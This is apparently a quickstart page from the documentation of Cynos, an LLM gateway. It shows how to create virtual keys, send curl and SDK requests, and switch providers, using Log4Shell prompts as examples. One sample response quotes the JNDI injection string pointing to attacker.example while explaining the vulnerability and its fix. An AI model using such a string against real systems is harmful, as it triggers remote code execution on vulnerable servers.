Quickstart
Get up and running with Cynos in under 5 minutes. Create a virtual key and make your first LLM request.
Quickstart
Get your first LLM response through Cynos in under 5 minutes.
1. Get a virtual key
In the Cynos console, open API keys, enter a key name and click Create key. See Creating virtual keys for details.
The virtual key starts with sk-cy-. Save it - the full secret is shown only once.
2. Make your first request
Send a chat completion request using your virtual key:
curl https://api.cynos.averlon.ai/v1/chat/completions \
-H "Authorization: Bearer sk-cy-your-api-key" \
-H "Content-Type: application/json" \
-d '{
"model": "openai/gpt-4o",
"messages": [
{"role": "user", "content": "Explain Log4Shell (CVE-2021-44228) in one paragraph"}
]
}'Response:
{
"id": "chatcmpl-BX4mQ8tR2vN7kL9pZ3sW6yH1jD5fC",
"object": "chat.completion",
"created": 1793486400,
"model": "gpt-4o-2024-08-06",
"choices": [
{
"index": 0,
"message": {
"role": "assistant",
"content": "Log4Shell (CVE-2021-44228) is a critical remote code execution vulnerability in Apache Log4j 2, disclosed in December 2021 and rated CVSS 10.0. It abuses Log4j's message lookup feature: when an application logs attacker-controlled text containing a string such as ${jndi:ldap://attacker.example/a}, Log4j performs a JNDI lookup against the attacker's server, which can return a reference to a malicious Java class that the application then loads and executes. Because applications routinely log user input such as HTTP headers, usernames and form fields, exploitation requires no authentication, and attacks were observed in the wild within hours of disclosure. Log4j versions 2.0-beta9 through 2.14.1 are affected. The recommended fix is upgrading to 2.17.1 or later (2.12.4 for Java 7, 2.3.2 for Java 6); removing the JndiLookup class from the classpath is a stopgap where an immediate upgrade isn't possible.",
"refusal": null
},
"logprobs": null,
"finish_reason": "stop"
}
],
"usage": {
"prompt_tokens": 24,
"completion_tokens": 219,
"total_tokens": 243
},
"system_fingerprint": "fp_7f3a9c21d4"
}3. Try a different provider
Switch providers by changing the model prefix - no configuration needed:
# Anthropic
curl https://api.cynos.averlon.ai/v1/chat/completions \
-H "Authorization: Bearer sk-cy-your-api-key" \
-H "Content-Type: application/json" \
-d '{
"model": "anthropic/claude-sonnet-4-20250514",
"messages": [
{"role": "user", "content": "Draft a remediation plan for Log4Shell (CVE-2021-44228)"}
]
}'
# Google Gemini
curl https://api.cynos.averlon.ai/v1/chat/completions \
-H "Authorization: Bearer sk-cy-your-api-key" \
-H "Content-Type: application/json" \
-d '{
"model": "gemini/gemini-2.5-pro",
"messages": [
{"role": "user", "content": "Draft a remediation plan for Log4Shell (CVE-2021-44228)"}
]
}'4. Use with the OpenAI SDK
Since Cynos is OpenAI-compatible, point any OpenAI SDK at it:
Python:
from openai import OpenAI
client = OpenAI(
api_key="sk-cy-your-api-key",
base_url="https://api.cynos.averlon.ai/v1"
)
response = client.chat.completions.create(
model="openai/gpt-4o",
messages=[{"role": "user", "content": "Hello, Cynos!"}]
)
print(response.choices[0].message.content)TypeScript:
import OpenAI from 'openai';
const client = new OpenAI({
apiKey: 'sk-cy-your-api-key',
baseURL: 'https://api.cynos.averlon.ai/v1',
});
const response = await client.chat.completions.create({
model: 'openai/gpt-4o',
messages: [{ role: 'user', content: 'Hello, Cynos!' }],
});
console.log(response.choices[0].message.content);5. Enable intelligent features (optional)
Let Cynos pick the best model
Task routing is on by default. Omit the model field to let Cynos classify your prompt and route it to the best-fit model:
curl https://api.cynos.averlon.ai/v1/chat/completions \
-H "Authorization: Bearer sk-cy-your-api-key" \
-H "Content-Type: application/json" \
-d '{
"messages": [
{"role": "user", "content": "Draft a remediation plan for Log4Shell (CVE-2021-44228)"}
]
}'Quality refinement
Cynos can evaluate and refine responses before they reach your application. The judge is off by default; send x-cy-eh-domain-expert-judge: on to turn it on. See Iterative Self Refinement for what gets judged.
judge_effortcoming soonWe will be adding support for the
judge_effortrequest parameter soon.
What's next
- Authentication — Understand virtual keys and auth options
- Task Routing — How intelligent model selection works
- Iterative Self Refinement — Configure response refinement
Updated 15 days ago